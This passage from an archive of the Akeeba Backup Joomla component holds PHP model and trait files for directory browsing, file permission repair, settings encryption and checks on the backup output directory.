			$format = Text::_('DATE_FORMAT_LC2') . ' T';
		}

		// Get the most specific Joomla timezone (UTC, overridden by server timezone, overridden by user timezone)
		$joomlaTimezone = $this->container->platform->getConfig()->get('offset', 'UTC');

		if (!$this->getContainer()->platform->isCli())
		{
			$user = $this->container->platform->getUser();

			if (!$user->guest)
			{
				$joomlaTimezone = $user->getParam('timezone', $joomlaTimezone);
			}
		}

		$timezone = $joomlaTimezone;

		// The forced timezone overrides everything else
		$forcedTZ = Platform::getInstance()->get_platform_configuration_option('forced_backup_timezone', 'AKEEBA/DEFAULT');

		if (!empty($forcedTZ) && ($forcedTZ != 'AKEEBA/DEFAULT'))
		{
			$timezone = $forcedTZ;
		}

		// Convert the current date and time to the selected timezone
		$dateNow = new Date();
		$tz      = new DateTimeZone($timezone);

		$dateNow->setTimezone($tz);

		return Text::_('COM_AKEEBA_BACKUP_DEFAULT_DESCRIPTION') . ' ' . $dateNow->format($format, true);
	}

}
com_akeeba/Model/Browser.php000060400000005615152455305260012020 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Model\Model;
use JLoader;
use Joomla\CMS\Filesystem\Folder;

class Browser extends Model
{
	/**
	 * Initialises the directory listing. All results are stored in model state variables.
	 */
	function makeListing()
	{
		// Get the folder to browse
		$folder        = $this->getState('folder', '');
		$processfolder = $this->getState('processfolder', 0);

		if (empty($folder))
		{
			$folder = JPATH_SITE;
		}

		$stock_dirs = Platform::getInstance()->get_stock_directories();
		arsort($stock_dirs);

		if ($processfolder == 1)
		{
			foreach ($stock_dirs as $find => $replace)
			{
				$folder = str_replace($find, $replace, $folder);
			}
		}

		// Normalise name, but only if realpath() really, REALLY works...
		$old_folder = $folder;
		$folder     = @realpath($folder);

		if ($folder === false)
		{
			$folder = $old_folder;
		}

		$isFolderThere = @is_dir($folder);

		// Check if it's a subdirectory of the site's root
		$isInRoot = (strpos($folder, JPATH_SITE) === 0);

		// Check open_basedir restrictions
		$isOpenbasedirRestricted = Factory::getConfigurationChecks()->checkOpenBasedirs($folder);

		// -- Get the meta form of the directory name, if applicable
		$folder_raw = $folder;

		foreach ($stock_dirs as $replace => $find)
		{
			$folder_raw = str_replace($find, $replace, $folder_raw);
		}

		$isWritable = false;
		$subfolders = [];

		if ($isFolderThere && !$isOpenbasedirRestricted)
		{
			$isWritable = is_writable($folder);
			$subfolders = Folder::folders($folder);
		}

		// In case we can't identify the parent folder, use ourselves.
		$parent      = $folder;
		$breadcrumbs = [];

		// Try to get the parent directory
		$pathparts = explode(DIRECTORY_SEPARATOR, $folder);

		if (is_array($pathparts))
		{
			$path = '';

			foreach ($pathparts as $part)
			{
				$path .= empty($path) ? $part : DIRECTORY_SEPARATOR . $part;

				if (empty($part))
				{
					if (DIRECTORY_SEPARATOR != '\\')
					{
						$path = DIRECTORY_SEPARATOR;
					}

					$part = DIRECTORY_SEPARATOR;
				}

				$breadcrumbs[] = [
					'label'  => $part,
					'folder' => $path,
				];
			}

			$junk   = array_pop($pathparts);
			$parent = implode(DIRECTORY_SEPARATOR, $pathparts);
		}

		$this->setState('folder', $folder);
		$this->setState('folder_raw', $folder_raw);
		$this->setState('parent', $parent);
		$this->setState('exists', $isFolderThere);
		$this->setState('inRoot', $isInRoot);
		$this->setState('openbasedirRestricted', $isOpenbasedirRestricted);
		$this->setState('writable', $isWritable);
		$this->setState('subfolders', $subfolders);
		$this->setState('breadcrumbs', $breadcrumbs);
	}
}
com_akeeba/Model/ControlPanel.php000060400000060425152455305260012775 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Helper\SecretWord;
use Akeeba\Backup\Admin\Model\Mixin\Chmod;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Util\Complexify;
use Akeeba\Engine\Util\RandomValue;
use FOF40\Database\Installer;
use FOF40\Download\Download;
use FOF40\Model\Model;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Http\HttpFactory;
use Joomla\CMS\Http\Transport\CurlTransport;
use Joomla\CMS\Http\Transport\StreamTransport;
use Joomla\CMS\Uri\Uri;
use Joomla\Registry\Registry;
use RuntimeException;
use stdClass;

/**
 * ControlPanel model. Generic maintenance tasks used mainly from the ControlPanel page.
 */
class ControlPanel extends Model
{
	use Chmod;

	protected static $systemFolders = [
		'administrator',
		'administrator/cache/',
		'administrator/components/',
		'administrator/help/',
		'administrator/includes/',
		'administrator/language/',
		'administrator/logs/',
		'administrator/manifests/',
		'administrator/modules/',
		'administrator/templates/',
		'cache/',
		'cli/',
		'components/',
		'images/',
		'includes/',
		'language/',
		'layouts/',
		'libraries/',
		'media/',
		'modules/',
		'plugins/',
		'templates/',
		'tmp/',
	];

	/**
	 * Gets a list of profiles which will be displayed as quick icons in the interface
	 *
	 * @return  stdClass[]  Array of objects; each has the properties `id` and `description`
	 */
	public function getQuickIconProfiles()
	{
		$db = $this->container->db;

		$query = $db->getQuery(true)
			->select([
				$db->qn('id'),
				$db->qn('description'),
			])->from($db->qn('#__ak_profiles'))
			->where($db->qn('quickicon') . ' = ' . $db->q(1))
			->order($db->qn('id') . " ASC");

		$db->setQuery($query);

		$ret = $db->loadObjectList();

		if (empty($ret))
		{
			$ret = [];
		}

		return $ret;
	}

	/**
	 * Creates an icon definition entry
	 *
	 * @param   string  $iconFile  The filename of the icon on the GUI button
	 * @param   string  $label     The label below the GUI button
	 * @param   string  $view      The view to fire up when the button is clicked
	 *
	 * @return  array  The icon definition array
	 */
	public function _makeIconDefinition($iconFile, $label, $view = null, $task = null)
	{
		return [
			'icon'  => $iconFile,
			'label' => $label,
			'view'  => $view,
			'task'  => $task,
		];
	}

	/**
	 * Was the last backup a failed one? Used to apply magic settings as a means of troubleshooting.
	 *
	 * @return  bool
	 */
	public function isLastBackupFailed()
	{
		// Get the last backup record ID
		$list = Platform::getInstance()->get_statistics_list(['limitstart' => 0, 'limit' => 1]);

		if (empty($list))
		{
			return false;
		}

		$id = $list[0];

		$record = Platform::getInstance()->get_statistics($id);

		return ($record['status'] == 'fail');
	}

	/**
	 * Checks that the media permissions are oh seven double five for directories and oh six double four for files and
	 * fixes them if they are incorrect.
	 *
	 * @param   bool  $force  Forcibly check subresources, even if the parent has correct permissions
	 *
	 * @return  bool  False if we couldn't figure out what's going on
	 */
	public function fixMediaPermissions($force = false)
	{
		// Are we on Windows?
		$isWindows = (DIRECTORY_SEPARATOR == '\\');

		if (function_exists('php_uname'))
		{
			$isWindows = stristr(php_uname(), 'windows');
		}

		// No point changing permissions on Windows, as they have ACLs
		if ($isWindows)
		{
			return true;
		}

		// Check the parent permissions
		$parent      = JPATH_ROOT . '/media/com_akeeba';
		$parentPerms = fileperms($parent);

		// If we can't determine the parent's permissions, bail out
		if ($parentPerms === false)
		{
			return false;
		}

		// Fooling some broken file scanners.
		$ohSevenFiveFive          = 500 - 7;
		$ohFourOhSevenFiveFive    = 16000 + 900 - 23;
		$ohSixFourFour            = 450 - 30;
		$ohOneDoubleOhSixFourFour = 33000 + 200 - 12;

		// Fix the parent's permissions if required
		if (($parentPerms != $ohSevenFiveFive) && ($parentPerms != $ohFourOhSevenFiveFive))
		{
			$this->chmod($parent, $ohSevenFiveFive);
		}
		elseif (!$force)
		{
			return true;
		}

		// During development we use symlinks and we don't wanna see that big fat warning
		if (@is_link($parent))
		{
			return true;
		}

		$result = true;

		// Loop through subdirectories
		$folders = Folder::folders($parent, '.', 3, true);

		foreach ($folders as $folder)
		{
			$perms = fileperms($folder);

			if (($perms != $ohSevenFiveFive) && ($perms != $ohFourOhSevenFiveFive))
			{
				$result &= $this->chmod($folder, $ohSevenFiveFive);
			}
		}

		// Loop through files
		$files = Folder::files($parent, '.', 3, true);

		foreach ($files as $file)
		{
			$perms = fileperms($file);

			if (($perms != $ohSixFourFour) && ($perms != $ohOneDoubleOhSixFourFour))
			{
				$result &= $this->chmod($file, $ohSixFourFour);
			}
		}

		return $result;
	}

	/**
	 * Checks if we should enable settings encryption and applies the change
	 *
	 * @return  void
	 */
	public function checkSettingsEncryption()
	{
		// Do we have a key file?
		$filename = JPATH_COMPONENT_ADMINISTRATOR . '/BackupEngine/serverkey.php';

		if (File::exists($filename))
		{
			// We have a key file. Do we need to disable it?
			if ($this->container->params->get('useencryption', -1) == 0)
			{
				// User asked us to disable encryption. Let's do it.
				$this->disableSettingsEncryption();
			}

			return;
		}

		if (!Factory::getSecureSettings()->supportsEncryption())
		{
			return;
		}

		if ($this->container->params->get('useencryption', -1) != 0)
		{
			// User asked us to enable encryption (or he left us with the default setting!). Let's do it.
			$this->enableSettingsEncryption();
		}
	}

	/**
	 * Updates some internal settings:
	 *
	 * - The stored URL of the site, used for the front-end backup feature (altbackup.php)
	 * - The detected Joomla! libraries path
	 * - Marks all existing profiles as configured, if necessary
	 */
	public function updateMagicParameters()
	{
		if (!$this->container->params->get('confwiz_upgrade', 0))
		{
			$this->markOldProfilesConfigured();
		}

		$this->container->params->set('confwiz_upgrade', 1);
		$this->container->params->set('siteurl', str_replace('/administrator', '', Uri::base()));
		$this->container->params->set('jlibrariesdir', Factory::getFilesystemTools()->TranslateWinPath(JPATH_LIBRARIES));
		$this->container->params->save();
	}

	/**
	 * Do you have to issue a warning that setting the Download ID in the CORE edition has no effect?
	 *
	 * @return  bool  True if you need to show the warning
	 */
	public function mustWarnAboutDownloadIDInCore()
	{
		/** @var Updates $updateModel */
		$updateModel = $this->container->factory->model('Updates')->tmpInstance();
		$isPro       = defined('AKEEBA_PRO') ? AKEEBA_PRO : 0;

		if ($isPro)
		{
			return false;
		}

		$dlid = $updateModel->sanitizeLicenseKey($updateModel->getLicenseKey());

		return $updateModel->isValidLicenseKey($dlid);
	}

	/**
	 * Does the user need to enter a Download ID in the component's Options page?
	 *
	 * @return  bool
	 */
	public function needsDownloadID()
	{
		/** @var Updates $updateModel */
		$updateModel = $this->container->factory->model('Updates')->tmpInstance();

		// Migrate J3 to J4 settings
		$updateModel->upgradeLicenseKey();

		// Save the J4 license key in the component options, if necessary
		$updateModel->backportLicenseKey();

		// Do I need a Download ID?
		$isPro = defined('AKEEBA_PRO') ? AKEEBA_PRO : 0;

		if (!$isPro)
		{
			return false;
		}

		$dlid = $updateModel->sanitizeLicenseKey($updateModel->getLicenseKey());

		return !$updateModel->isValidLicenseKey($dlid);
	}

	/**
	 * Checks the database for missing / outdated tables and runs the appropriate SQL scripts if necessary.
	 *
	 * @return  $this
	 * @throws  RuntimeException    If the previous database update is stuck
	 */
	public function checkAndFixDatabase()
	{
		$params = $this->container->params;

		// First of all let's check if we are already updating
		$stuck = $params->get('updatedb', 0);

		if ($stuck)
		{
			throw new RuntimeException('Previous database update is flagged as stuck');
		}

		// Then set the flag
		$params->set('updatedb', 1);
		$params->save();

		// Install or update database
		$dbInstaller = new Installer(
			$this->container->db,
			JPATH_ADMINISTRATOR . '/components/com_akeeba/sql/xml'
		);

		$dbInstaller->updateSchema();

		// And finally remove the flag if everything went fine
		$params->set('updatedb', null);
		$params->save();

		return $this;
	}

	/**
	 * Akeeba Backup 4.3.2 displays a popup if your profile is not already configured by Configuration Wizard, the
	 * Configuration page or imported from the Profiles page. This bit of code makes sure that existing profiles will
	 * be marked as already configured just the FIRST time you upgrade to the new version from an old version.
	 *
	 * @return  void
	 */
	public function markOldProfilesConfigured()
	{
		// Get all profiles
		$db = $this->container->db;

		$query = $db->getQuery(true)
			->select([
				$db->qn('id'),
			])->from($db->qn('#__ak_profiles'))
			->order($db->qn('id') . " ASC");
		$db->setQuery($query);
		$profiles = $db->loadColumn();

		// Save the current profile number
		$oldProfile = $this->container->platform->getSessionVar('profile', 1, 'akeeba');

		// Update all profiles
		foreach ($profiles as $profile_id)
		{
			Factory::nuke();
			Platform::getInstance()->load_configuration($profile_id);
			$config = Factory::getConfiguration();
			$config->set('akeeba.flag.confwiz', 1);
			Platform::getInstance()->save_configuration($profile_id);
		}

		// Restore the old profile
		Factory::nuke();
		Platform::getInstance()->load_configuration($oldProfile);
	}

	/**
	 * Check the strength of the Secret Word for front-end and remote backups. If it is insecure return the reason it
	 * is insecure as a string. If the Secret Word is secure return an empty string.
	 *
	 * @return  string
	 */
	public function getFrontendSecretWordError()
	{
		// Is frontend backup enabled?
		$febEnabled =
			($this->container->params->get('legacyapi_enabled', 0) != 0) ||
			($this->container->params->get('jsonapi_enabled', 0) != 0);

		if (!$febEnabled)
		{
			return '';
		}

		$secretWord = Platform::getInstance()->get_platform_configuration_option('frontend_secret_word', '');

		try
		{
			Complexify::isStrongEnough($secretWord);
		}
		catch (RuntimeException $e)
		{
			// Ah, the current Secret Word is bad. Create a new one if necessary.
			$newSecret = $this->container->platform->getSessionVar('newSecretWord', null, 'akeeba');

			if (empty($newSecret))
			{
				$random    = new RandomValue();
				$newSecret = $random->generateString(32);
				$this->container->platform->setSessionVar('newSecretWord', $newSecret, 'akeeba.cpanel');
			}

			return $e->getMessage();
		}

		return '';
	}

	/**
	 * Checks if the mbstring extension is installed and enabled
	 *
	 * @return  bool
	 */
	public function checkMbstring()
	{
		return function_exists('mb_strlen') && function_exists('mb_convert_encoding') &&
			function_exists('mb_substr') && function_exists('mb_convert_case');
	}

	/**
	 * Is the output directory under the configured site root?
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  bool  True if the output directory is under the site's web root.
	 *
	 * @since   7.0.3
	 */
	public function isOutputDirectoryUnderSiteRoot($outDir = null)
	{
		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't figure out where it's placed in.
		if ($outDir === false)
		{
			return false;
		}

		// Get the site's root
		$siteRoot = $this->getSiteRoot();
		$siteRoot = @realpath($siteRoot);

		// If I can't reliably determine the site's root I can't figure out its relation to the output directory
		if ($siteRoot === false)
		{
			return false;
		}

		return strpos($outDir, $siteRoot) === 0;
	}

	/**
	 * Did the user set up an output directory inside a folder intended for CMS files?
	 *
	 * The idea is that this will cause trouble for two reasons. First, you are mixing user-generated with system
	 * content which might be a REALLY BAD idea in and of itself. Second, some if not all of these folders are meant to
	 * be web-accessible. I cannot possibly protect them against web access without breaking anything.
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  bool  True if the output directory is inside a CMS system folder
	 *
	 * @since   7.0.3
	 */
	public function isOutputDirectoryInSystemFolder($outDir = null)
	{
		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't figure out where it's placed in.
		if ($outDir === false)
		{
			return false;
		}

		// If the directory is not under the site's root it doesn't belong to the CMS. Simple, huh?
		if (!$this->isOutputDirectoryUnderSiteRoot($outDir))
		{
			return false;
		}

		// Check if we are using the default output directory. This is always allowed.
		$stockDirs     = Platform::getInstance()->get_stock_directories();
		$defaultOutDir = realpath($stockDirs['[DEFAULT_OUTPUT]']);

		// If I can't reliably determine the default output folder I can't figure out its relation to the output folder
		if ($defaultOutDir === false)
		{
			return false;
		}

		// Get the site's root
		$siteRoot = $this->getSiteRoot();
		$siteRoot = @realpath($siteRoot);

		// If I can't reliably determine the site's root I can't figure out its relation to the output directory
		if ($siteRoot === false)
		{
			return false;
		}

		foreach ($this->getSystemFolders() as $folder)
		{
			// Is this a partial or an absolute search?
			$partialSearch = substr($folder, -1) == '/';

			clearstatcache(true);

			$absolutePath = realpath($siteRoot . '/' . $folder);

			if ($absolutePath === false)
			{
				continue;
			}

			if (!$partialSearch)
			{
				if (trim($outDir, '/\\') == trim($absolutePath, '/\\'))
				{
					return true;
				}

				continue;
			}

			// Partial search
			if (strpos($outDir, $absolutePath . DIRECTORY_SEPARATOR) === 0)
			{
				return true;
			}
		}

		return false;
	}

	/**
	 * Does the output directory contain the security-enhancing files?
	 *
	 * This only checks for the presence of .htaccess, web.config, index.php, index.html and index.html but not their
	 * contents. The idea is that an advanced user may want to customise them for some reason or another.
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  bool  True if all of the security-enhancing files are present.
	 *
	 * @since   7.0.3
	 */
	public function hasOutputDirectorySecurityFiles($outDir = null)
	{
		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't figure out where it's placed in.
		if ($outDir === false)
		{
			return true;
		}

		$files = [
			'.htaccess',
			'web.config',
			'index.php',
			'index.html',
			'index.htm',
		];

		foreach ($files as $file)
		{
			$filePath = $outDir . '/' . $file;

			if (!@file_exists($filePath) || !is_file($filePath))
			{
				return false;
			}
		}

		return true;
	}

	/**
	 * Checks whether the given output directory is directly accessible over the web.
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  array
	 *
	 * @since   7.0.3
	 */
	public function getOutputDirectoryWebAccessibleState($outDir = null)
	{
		$ret = [
			'readFile'   => false,
			'listFolder' => false,
			'isSystem'   => $this->isOutputDirectoryInSystemFolder(),
			'hasRandom'  => $this->backupFilenameHasRandom(),
		];

		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't figure out its web path
		if ($outDir === false)
		{
			return $ret;
		}

		$checkFile     = $this->getAccessCheckFile($outDir);
		$checkFilePath = $outDir . '/' . $checkFile;

		if (is_null($checkFile))
		{
			return $ret;
		}

		$webPath = $this->getOutputDirectoryWebPath($outDir);

		if (is_null($webPath))
		{
			@unlink($checkFilePath);

			return $ret;
		}

		// Construct a URL for the check file
		$baseURL = rtrim(Uri::base(), '/');

		if (substr($baseURL, -14) == '/administrator')
		{
			$baseURL = substr($baseURL, 0, -14);
		}

		$baseURL  = rtrim($baseURL, '/');
		$checkURL = $baseURL . '/' . $webPath . '/' . $checkFile;

		// Try to download the file's contents
		$options = [
			'follow_location'  => true,
			'transport.curl'   => [
				CURLOPT_SSL_VERIFYPEER => 0,
				CURLOPT_SSL_VERIFYHOST => 0,
				CURLOPT_FOLLOWLOCATION => 1,
				CURLOPT_TIMEOUT        => 10,
			],
			'transport.stream' => [
				'timeout' => 10,
			],
		];

		$adapters = [];

		if (CurlTransport::isSupported())
		{
			$adapters[] = 'Curl';
		}

		if (StreamTransport::isSupported())
		{
			$adapters[] = 'Stream';
		}

		if (empty($adapters))
		{
			return $ret;
		}

		$downloader = HttpFactory::getHttp(new Registry($options), $adapters);

		if ($downloader === false)
		{
			return $ret;
		}

		$response = $downloader->get($checkURL);

		if ($response->body === 'AKEEBA BACKUP WEB ACCESS CHECK')
		{
			$ret['readFile'] = true;
		}

		// Can I list the directory contents?
		$folderURL     = $baseURL . '/' . $webPath . '/';
		$folderListing = $downloader->get($folderURL)->body;

		@unlink($checkFilePath);

		if (!is_null($folderListing) && (strpos($folderListing, basename($checkFile, '.txt')) !== false))
		{
			$ret['listFolder'] = true;
		}

		return $ret;
	}

	/**
	 * Get the web path, relative to the site's root, for the output directory.
	 *
	 * Returns the relative path or NULL if determining it was not possible.
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  string|null  The relative web path to the output directory
	 *
	 * @since   7.0.3
	 */
	public function getOutputDirectoryWebPath($outDir = null)
	{
		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't figure out its web path
		if ($outDir === false)
		{
			return null;
		}

		// Get the site's root
		$siteRoot = $this->getSiteRoot();
		$siteRoot = @realpath($siteRoot);

		// If I can't reliably determine the site's root I can't figure out its relation to the output directory
		if ($siteRoot === false)
		{
			return null;
		}

		// The output directory is NOT under the site's root.
		if (strpos($outDir, $siteRoot) !== 0)
		{
			return null;
		}

		$relPath = trim(substr($outDir, strlen($siteRoot)), '/\\');
		$isWin   = DIRECTORY_SEPARATOR == '\\';

		if ($isWin)
		{
			$relPath = str_replace('\\', '/', $relPath);
		}

		return $relPath;
	}

	/**
	 * Get the semi-random name of a .txt file used to check the output folder's direct web access.
	 *
	 * If the file does not exist we will create it.
	 *
	 * Returns the file name or NULL if creating it was not possible.
	 *
	 * @param   string|null  $outDir  The output directory to check. NULL for the currently configured one.
	 *
	 * @return  string|null  The base name of the check file
	 *
	 * @since   7.0.3
	 */
	public function getAccessCheckFile($outDir = null)
	{
		// Make sure I have an output directory to check
		$outDir = is_null($outDir) ? $this->getOutputDirectory() : $outDir;
		$outDir = @realpath($outDir);

		// If I can't reliably determine the output directory I can't put a file in it
		if ($outDir === false)
		{
			return null;
		}

		$secureSettings = Factory::getSecureSettings();
		$something      = md5($outDir . $secureSettings->getKey());
		$fileName       = 'akaccesscheck_' . $something . '.txt';
		$filePath       = $outDir . '/' . $fileName;

		$result = @file_put_contents($filePath, 'AKEEBA BACKUP WEB ACCESS CHECK');

		return ($result === false) ? null : $fileName;
	}

	/**
	 * Does the backup filename contain the [RANDOM] variable?
	 *
	 * @return  bool
	 *
	 * @since   7.0.3
	 */
	public function backupFilenameHasRandom()
	{
		$registry     = Factory::getConfiguration();
		$templateName = $registry->get('akeeba.basic.archive_name');

		return strpos($templateName, '[RANDOM]') !== false;
	}

	/**
	 * Return the configured output directory for the currently loaded backup profile
	 *
	 * @return  string
	 * @since   7.0.3
	 */
	public function getOutputDirectory()
	{
		$registry = Factory::getConfiguration();

		return $registry->get('akeeba.basic.output_directory', '[DEFAULT_OUTPUT]', true);
	}

	/**
	 * Return the currently configured site root directory
	 *
	 * @return  string
	 * @since   7.0.3
	 */
	protected function getSiteRoot()
	{
		return Platform::getInstance()->get_site_root();
	}

	/**
	 * Return the list of system folders, relative to the site's root
	 *
	 * @return  array
	 * @since   7.0.3
	 */
	protected function getSystemFolders()
	{
		return self::$systemFolders;
	}

	/**
	 * Disables the encryption of profile settings. If the settings were already encrypted they are automatically
	 * decrypted.
	 *
	 * @return  void
	 */
	private function disableSettingsEncryption()
	{
		// Load the server key file if necessary

		$filename = JPATH_COMPONENT_ADMINISTRATOR . '/BackupEngine/serverkey.php';
		$key      = Factory::getSecureSettings()->getKey();

		// Loop all profiles and decrypt their settings
		/** @var Profiles $profilesModel */
		$profilesModel = $this->container->factory->model('Profiles')->tmpInstance();
		$profiles      = $profilesModel->get(true);
		$db            = $this->container->db;

		/** @var Profiles $profile */
		foreach ($profiles as $profile)
		{
			$id     = $profile->getId();
			$config = Factory::getSecureSettings()->decryptSettings($profile->configuration, $key);
			$sql    = $db->getQuery(true)
				->update($db->qn('#__ak_profiles'))
				->set($db->qn('configuration') . ' = ' . $db->q($config))
				->where($db->qn('id') . ' = ' . $db->q($id));
			$db->setQuery($sql);
			$db->execute();
		}

		// Decrypt the Secret Word settings in the database
		$params = $this->container->params;
		SecretWord::enforceDecrypted($params, 'frontend_secret_word', $key);

		// Finally, remove the key file
		if (!@unlink($filename))
		{
			File::delete($filename);
		}
	}

	/**
	 * Enabled the encryption of profile settings. Existing settings are automatically encrypted.
	 *
	 * @return  void
	 */
	private function enableSettingsEncryption()
	{
		$key = $this->createSettingsKey();

		if (empty($key) || ($key == false))
		{
			return;
		}

		// Loop all profiles and encrypt their settings
		/** @var Profiles $profilesModel */
		$profilesModel = $this->container->factory->model('Profiles')->tmpInstance();
		$profiles      = $profilesModel->get(true);
		$db            = $this->container->db;
		if (!empty($profiles))
		{
			foreach ($profiles as $profile)
			{
				$id     = $profile->id;
				$config = Factory::getSecureSettings()->encryptSettings($profile->configuration, $key);
				$sql    = $db->getQuery(true)
					->update($db->qn('#__ak_profiles'))
					->set($db->qn('configuration') . ' = ' . $db->q($config))
					->where($db->qn('id') . ' = ' . $db->q($id));
				$db->setQuery($sql);
				$db->execute();
			}
		}
	}

	/**
	 * Creates an encryption key for the settings and saves it in the <component>/BackupEngine/serverkey.php path
	 *
	 * @return  bool|string  FALSE on failure, the encryptions key otherwise
	 */
	private function createSettingsKey()
	{
		$randVal = new RandomValue();
		$rawKey  = $randVal->generate(64);
		$key     = base64_encode($rawKey);

		$filecontents = "<?php defined('AKEEBAENGINE') or die(); define('AKEEBA_SERVERKEY', '$key'); ?>";
		$filename     = $this->container->backEndPath . '/BackupEngine/serverkey.php';

		$result = File::write($filename, $filecontents);

		if (!$result)
		{
			return false;
		}

		return $rawKey;
	}
}
com_akeeba/Model/Mixin/GetErrorsFromExceptions.php000060400000002364152455305260016261 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model\Mixin;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Exception;
use Throwable;

trait GetErrorsFromExceptions
{
	/**
	 * Retrieve the messages from nested exceptions into an array. It will optionally add the trace as the last element
	 * of the array if debug mode (JDEBUG or AKEEBADEBUG) is enabled and $includeTraceInDebug is true.
	 *
	 * @param   Exception|Throwable  $exception            The Exception or Throwable to log
	 *
	 * @param   bool                 $includeTraceInDebug  Include the trace when debug mode is enabled
	 *
	 * @return  array
	 */
	public function getErrorsFromExceptions($exception, $includeTraceInDebug = true)
	{
		$ret = [
			$exception->getMessage(),
		];

		$previous = $exception->getPrevious();

		if (!is_null($previous))
		{
			$ret = array_merge($ret, $this->getErrorsFromExceptions($previous, false));
		}

		if ($includeTraceInDebug && ((defined('JDEBUG') && JDEBUG) || (defined('AKEEBADEBUG') && AKEEBADEBUG)))
		{
			$ret[] = $exception->getTraceAsString();
		}

		return $ret;
	}

}
com_akeeba/Model/Mixin/Chmod.php000060400000003266152455305260012513 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model\Mixin;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Client\ClientHelper;
use Joomla\CMS\Client\FtpClient;
use Joomla\CMS\Filesystem\Path;

trait Chmod
{
	/**
	 * Tries to change a folder/file's permissions using direct access or FTP
	 *
	 * @param   string  $path  The full path to the folder/file to chmod
	 * @param   int     $mode  New permissions
	 *
	 * @return  bool  True on success
	 */
	private function chmod($path, $mode)
	{
		if (is_string($mode))
		{
			$mode                    = octdec($mode);
			$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
			$ohSixHundred            = 386 - 2;
			$ohSevenFiveFive         = 500 - 7;

			if (($mode < $ohSixHundred) || ($mode > $trustMeIKnowWhatImDoing))
			{
				$mode = $ohSevenFiveFive;
			}
		}

		// Initialize variables
		$ftpOptions = ClientHelper::getCredentials('ftp');

		// Check to make sure the path valid and clean
		$path = Path::clean($path);

		if (@chmod($path, $mode))
		{
			$ret = true;
		}
		elseif ($ftpOptions['enabled'] == 1)
		{
			// Connect the FTP client
			$ftp = FtpClient::getInstance(
				$ftpOptions['host'], $ftpOptions['port'], [],
				$ftpOptions['user'], $ftpOptions['pass']
			);

			// Translate path and delete
			$path = Path::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/');
			// FTP connector throws an error
			$ret = $ftp->chmod($path, $mode);
		}
		else
		{
			$ret = false;
		}

		return $ret;
	}
}
com_akeeba/Model/Mixin/ExclusionFilter.php000060400000006265152455305260014602 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model\Mixin;

// Protect from unauthorized access
use Akeeba\Engine\Factory;

defined('_JEXEC') || die();

/**
 * Trait for handling Akeeba Engine exclusion filters in models
 */
trait ExclusionFilter
{
	protected $knownFilterTypes = [];

	/**
	 * Modifies a filter
	 *
	 * @param   string  $type     Filter type
	 * @param   string  $root     The filter's root
	 * @param   string  $node     The filter node to modify
	 * @param   string  $action   The action to take: set, remove, toggle, swap
	 * @param   string  $oldNode  Only for swap: The old node which will be swapped with $node
	 *
	 * @return  array  Array with keys success and newstate
	 */
	protected function applyExclusionFilter($type, $root, $node, $action = 'set', $oldNode = '')
	{
		$ret = [
			'success'  => false,
			'newstate' => false
		];

		$filter  = Factory::getFilterObject($type);
		$newState = null;

		switch ($action)
		{
			case 'set':
				$ret['success'] = $filter->set($root, $node);
				break;

			case 'remove':
				$ret['success'] = $filter->remove($root, $node);
				break;

			case 'toggle':
				$ret['success'] = $filter->toggle($root, $node, $newState);
				break;

			case 'swap':
				$ret['success'] = true;

				if (empty($node))
				{
					$ret['success'] = false;
				}

				if ($ret['success'] && !empty($oldNode))
				{
					$ret = $this->applyExclusionFilter($type, $root, $oldNode, 'remove');
				}

				if ($ret['success'])
				{
					$ret = $this->applyExclusionFilter($type, $root, $node, 'set');
				}
				break;
		}

		$ret['newstate'] = $newState;

		if (is_null($newState))
		{
			$ret['newstate'] = $ret['success'];
		}

		if ($ret['success'])
		{
			$filters = Factory::getFilters();
			$filters->save();
		}

		return $ret;
	}


	/**
